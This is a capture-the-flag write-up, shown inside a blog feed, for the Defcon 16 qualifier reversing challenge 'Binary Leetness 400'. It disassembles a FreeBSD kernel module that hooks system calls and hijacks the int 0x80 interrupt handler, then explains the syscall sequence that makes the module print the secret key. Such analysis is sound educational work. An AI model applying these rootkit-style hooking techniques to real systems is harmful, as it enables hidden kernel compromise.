xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-WVnUKTqNsek/TkbjjQAhnbI/AAAAAAAAAB8/RXCcRl6E8PY/s72-c/krypto1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2188843482388834721.post-8095494019325871385</id><published>2008-06-06T16:39:00.000-07:00</published><updated>2011-08-13T11:45:39.123-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rev400'/><category scheme='http://www.blogger.com/atom/ns#' term='quals'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><title type='text'>Defcon 16 QUALS - Binary Leetness 400</title><content type='html'>We are provided with an unknown &lt;a href="http://sites.google.com/site/routardz/reversing400-b05c8059389c8ade8e1a10314f458be5"&gt;binary&lt;/a&gt;. We are informed that it is running on Kenshoto's server. The goal is to understand what this binary does, and use this knowledge on the Kenshoto FreeBSD 6.x server to get a secret key.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;Trying to run the binary on the command line of a FreeBSD machine doesn’t work as the file is not recognized as an executable. By looking at the strings and functions of the binary, we conclude that the binary is a kernel module:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The "module_register_init" kernel function is called;&lt;/li&gt;&lt;li&gt;We have strings with "mod" in it, like "set_modmetadata_set";&lt;/li&gt;&lt;li&gt;The uprintf function is used, which is a kernel function;&lt;/li&gt;&lt;li&gt;There are data structures associated to the strings "captain" and "captain_kmod", which look like the meta data used to tell the kernel what are the module name, version, and dependencies on other modules when registering it (as declared in "sys/module.h" in the kernel sources).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Trying to load the module into memory with "kldload -v captain.ko" fails because of the "captain_kmod" module not being available. Thus, we have only one part of the program, the other&lt;br /&gt;part being in the "captain_kmod" module. It is probably this module that is holding the key... we assume it is running on the Kenshoto server.&lt;br /&gt;&lt;br /&gt;Now let’s analyze the beast!&lt;br /&gt;&lt;br /&gt;Loading the binary under IDA Pro shows recurrent use of a basic code obfuscation technique: the x86 assembly instruction "\xEB\xFF" aka "JMP +1" is inserted at multiple places in the code, which confuses IDA and make some functions look like they are returning early with a "ret" instruction while it is not actually the case. We get rid of them by manually by un-defining the JMP instruction (shortcut "U") and converting to code (shortcut "C") the code starting from the "\xFF" byte. We can also safely convert the "\xEB" byte to a NOP instruction.&lt;br /&gt;&lt;br /&gt;Okay, now let’s find out about what this module really does, by disassembling all functions and trying to understand the logic of the module.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;At first look: syscall hooks.&lt;/h2&gt;&lt;br /&gt;Most of the code is used to hook several system calls. The part that is installing the hook modifies the system calls table "sysent" to hijack some system calls pointers with the address of the related hooking function in the module:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;.text:00001055      mov dword ptr ds:sysent+10h, offset do_sysexit&lt;br /&gt;.text:0000105F      mov dword ptr ds:sysent+28h, offset do_read&lt;br /&gt;.text:00001069      mov dword ptr ds:sysent+34h, offset do_write&lt;br /&gt;.text:00001073      mov dword ptr ds:sysent+40h, offset do_open&lt;br /&gt;.text:0000107D      mov dword ptr sysent+4Ch, offset do_close&lt;br /&gt;.text:00001087      mov dword ptr sysent+0A0h, offset do_fchdir&lt;br /&gt;.text:00001091      mov dword ptr sysent+0ACh, offset do_mknod&lt;br /&gt;.text:0000109B      mov dword ptr sysent+0B8h, offset do_chmod&lt;br /&gt;.text:000010A5      mov dword ptr sysent+0C4h, offset do_chown&lt;br /&gt;.text:000010AF      mov dword ptr sysent+148h, offset do_recvmsg&lt;br /&gt;.text:000010B9      mov dword ptr sysent+154h, offset do_sendmsg&lt;br /&gt;.text:000010C3      mov dword ptr sysent+160h, offset do_recvfrom&lt;br /&gt;.text:000010CD      mov dword ptr sysent+16Ch, offset do_accept&lt;br /&gt;.text:000010D7      mov dword ptr sysent+178h, offset do_getpeername&lt;br /&gt;.text:000010E1      mov dword ptr sysent+184h, offset do_getsockname&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Note that I changed the functions name in order to be more readable. The name of the system calls that are hooked can be found from the offset in the "sysent" table, but also more easily by looking at the code that reverses the hooks when the module is unloaded, which is located at .text:00001185.&lt;br /&gt;&lt;br /&gt;Let’s take a look at what does a hooked function. For instance, we can look at the do_read function located at .text:00000B98. Basically, what such function does is the following:&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Check some numerical conditions on the syscall parameters;&lt;/li&gt;&lt;li&gt;If and only if these conditions are met, modify the global variable located at .bss:00002370&lt;br /&gt;with some algorithm that changes depending in which the syscall function we are;&lt;/li&gt;&lt;li&gt;Call the "real" syscall function in the kernel.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;Actually, all this stuff seems to be a false lead! We will not care about it anymore, since we do not see from these hooked functions how all this global variable tweaking could ever give us a key. And we need a key.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;At second look: IDT "int 0x80" hijack.&lt;/h2&gt;&lt;br /&gt;What we do see as an interesting lead is this "uprintf" kernel function, which is used at&lt;br /&gt;.text:00000ADA to print a string pointed to by an external variable named "currentpid". The "uprintf" function prints a string to the controlling tty of the current process. Since the "currentpid" variable doesn’t seem to be a standard kernel variable, we can imagine that it could very well be contained in the missing "captain_kmod" module, and would probably hold the key we are looking for.&lt;br /&gt;&lt;br /&gt;Going backwards, we find that the function doing the "uprintf" is only called by one function, located at .text:00000AE4, depending on some conditions. This function is itself called only by a short wrapper function located at .text:00000A15. This function is itself never called... but its address is used at offset .text:00001138 in the following piece of code.&lt;br /&gt;&lt;br /&gt;We see that the Interrupt Descriptor Table (IDT) of the system is modified in order to replace the "int 0x80" handler with the address of the function at .text:00000A15. To understand this code, one should known that the size of an entry in the IDT is 8 bytes and that the address of the interruption handler in an IDT entry is split in two, the low word being stored at offset 0 and the high word at offset 6 of the entry. (Note: for more information about the IDT one could read &lt;a href="http://www.phrack.org/issues.html?issue=59&amp;id=4"&gt;Phrack #59&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;.text:00001104 sidt  fword ptr [ebp-14h]    ; gets IDT information structure&lt;br /&gt;.text:0000110E mov   ecx, [ebp-12h]         ; gets IDT base address&lt;br /&gt;.text:00001111 lea   edx, [ecx+400h]        ; gets address of "int 0x80" entry in the IDT (0x400/8 = 0x80)&lt;br /&gt;.text:00001117 mov   ds:idt_hijackaddr, edx ; saves this address for future use&lt;br /&gt;.text:00001123 movzx eax, word ptr [edx+6]&lt;br /&gt;.text:00001127 shl   eax, 10h&lt;br /&gt;.text:0000112A movzx edx, word ptr [ecx+400h]&lt;br /&gt;.text:00001131 or    eax, edx               ; eax = address of "int 0x80" handler&lt;br /&gt;.text:00001133 mov   ds:dword_2364, eax&lt;br /&gt;.text:00001138 mov   edx, offset int80_hijack_function&lt;br /&gt;.text:0000113D lea   eax, [ebp-1Ch]&lt;br /&gt;.text:00001140 call  loc_1008               ; puts LOW(edx) in [eax], and HIGH(edx) in [eax+6],&lt;br /&gt;                                            ; which will hijack the "int 0x80" IDT entry by putting&lt;br /&gt;                                            ; the address contained in edx instead of the original &lt;br /&gt;                                            ; handler. eax points to an IDT entry structure located on&lt;br /&gt;                                            ; the stack.&lt;br /&gt;.text:00001145 mov   edx, ds:idt_hijackaddr&lt;br /&gt;.text:0000114B movzx ax, byte ptr [edx+2]&lt;br /&gt;.text:00001150 mov   [ebp-1Ah], ax          ; complete the new IDT structure on the&lt;br /&gt;                                            ; stack with the original data located at offsets 2 and 5&lt;br /&gt;                                            ; (flags, segment selector...)&lt;br /&gt;.text:00001154 mov   al, [edx+5]&lt;br /&gt;.text:00001157 mov   [ebp-17h], al&lt;br /&gt;.text:0000115A lea   eax, [ebp-1Ch]&lt;br /&gt;.text:0000115D push  eax                    ; pointer to local IDT entry structure&lt;br /&gt;.text:0000115E push  edx                    ; pointer to "int 0x80" IDT entry&lt;br /&gt;.text:0000115F call  near ptr write_64_bits ; actually performs the hijack by writing the 8 bytes of &lt;br /&gt;                                            ; the local structure in the IDT&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Well, that’s very good! So far we are pleased of our work, since we now understand the logic of the module, and thus the way to the key.&lt;br /&gt;Or do we? We know we will have to issue an "int 0x80" instruction to get to the interesting part of the code, but there is actually one last problem to overcome: the uprintf function which prints to key to our controlling tty is called only if certain conditions are met. We need to understand these conditions, by analyzing the code.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;[...]    ; previously the first argument of the stack&lt;br /&gt;         ; is put into ebx&lt;br /&gt;.text:00000AF2 mov   eax, large fs:0&lt;br /&gt;.text:00000AF8 mov   esi, [eax]&lt;br /&gt;.text:00000B00 mov   ecx, [esi+3Ch]&lt;br /&gt;.text:00000B03 mov   eax, ecx&lt;br /&gt;.text:00000B05 and   eax, 0FFFF0000h&lt;br /&gt;.text:00000B0A cmp   eax, 5BE90000h               ; &lt;-- high word of [fs:3c] must be 0x5BE9&lt;br /&gt;.text:00000B0F jz    short loc_B38&lt;br /&gt;[...]&lt;br /&gt;.text:00000B38 loc_B38:&lt;br /&gt;.text:00000B38 cmp   ebx, 1                       ; &lt;-- arg0 must be 1&lt;br /&gt;.text:00000B3B jnz   short near ptr unk_B11&lt;br /&gt;.text:00000B43 call  print_fmt_string_to_proc_tty ; prints the key to tty :-)&lt;br /&gt;&lt;/pre&gt;The key is printed only if a flag located at address fs:3c has value 0x5BE9 in its high word, and if the first argument to the function is 0x01.Since the "int 0x80" instruction is used by the FreeBSD system to allow userland (ring 3) code to issue system calls, the first argument to the function would be the syscall number. Syscall 0x01 is the "exit" syscall, which exits the current process. Getting the key is thus only a matter of quitting... after having correctly set up the fs:3c flag. To perform this, we see that this flag is updated at each system call:&lt;pre class="brush: plain"&gt;.text:00000B17 movzx  edx, cx          ; dx = low word of [fs:3c]&lt;br /&gt;.text:00000B1A and    ebx, 7           ; ebx = the 3 low bits of the syscall number&lt;br /&gt;                                       ; pushed on the stack&lt;br /&gt;.text:00000B1D and    ecx, 0FFFF0000h  ; ecx = high word of [fs:3c]&lt;br /&gt;.text:00000B23 shl    ebx, 10h         ; the 3 low bits of the syscall number of&lt;br /&gt;                                       ; put into the high word&lt;br /&gt;.text:00000B26 lea    eax, ds:0[ecx*4] ; shifts left ecx by 2 bits (eax = ecx &lt;&lt; 2)&lt;br /&gt;.text:00000B2D xor    eax, ebx         ; no comment&lt;br /&gt;.text:00000B2F or     edx, eax         ; edx = low word | (high word&lt;&lt;2 ^ the 3 low bits)&lt;br /&gt;.text:00000B31 mov    [esi+3Ch], edx   ; updates flag at [fs:3c]&lt;br /&gt;&lt;/pre&gt;At each system call performed, "int 0x80" is called and the high word of the flag at [fs:3c] is updated by shifting it by two bits on the left and XORing it with the last 3 bits of the syscall number.Thus, to setup the fs:3c flag to the correct value (0x5BE9) we can issue several system calls sequentially, with different syscall numbers. As 0x5BE9 is 0101101111101001 in binary, to construct it in two bits chunks, we could send the following syscalls:&lt;pre class="brush: plain"&gt;Bits: 01 01 10 11 11 10 10 01 = 0x5BE9&lt;br /&gt;Syscall numbers sequence: 1 1 2 3 3 2 2 1&lt;br /&gt;&lt;/pre&gt;However, some syscall numbers cannot be used, for instance 1 will terminate the program, and 2 will fork. We can look in the "syscall.h" include file to get the list of syscall numbers. We must use only innocuous syscall numbers, and that's why the good folks at Kenshoto allowed us to use one additional bit and XOR it with the previous one (even though it's not the only way).Then, another possibility to generate the value 0x5BE9 without using the "fork" and "exit" syscalls would be:&lt;pre class="brush: plain"&gt;Sycall bits: 100 101 11 111 11 11 111 101&lt;br /&gt;Syscall numbers: 4 5 3 7 3 3 7 5&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now all that is left is to write a small assembly program which issues these system calls sequentially by pushing the value of the syscall on the stack and calling the 0x80 interruption ("move $0xNN, %eax, push %eax, int $0x80"). At this time the value of the flag at [fs:3c] is now 0x5BE9. We can issue a last call to syscall number 1 (exit) and the module will print the key on the current tty.&lt;br /&gt;&lt;br /&gt;So we connect on a shell on the Kenshoto server, get a tty for the shell (mandatory step for uprintf to work), run the code... And, almost magically, the secret key appears.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2188843482388834721-8095494019325871385?l=www.routards.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.routards.org/feeds/8095494019325871385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.routards.org/2008/06/defcon-16-quals-rev400.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/8095494019325871385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2188843482388834721/posts/default/8095494019325871385'/><link rel='alternate' type='text/html' href='http://www.routards.org/2008/06/defcon-16-quals-rev400.html' title='Defcon 16 QUALS - Binary Leetness 400'/><author><name>routardz</name><uri>http://www.blogger.com/profile/16885996044315754891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
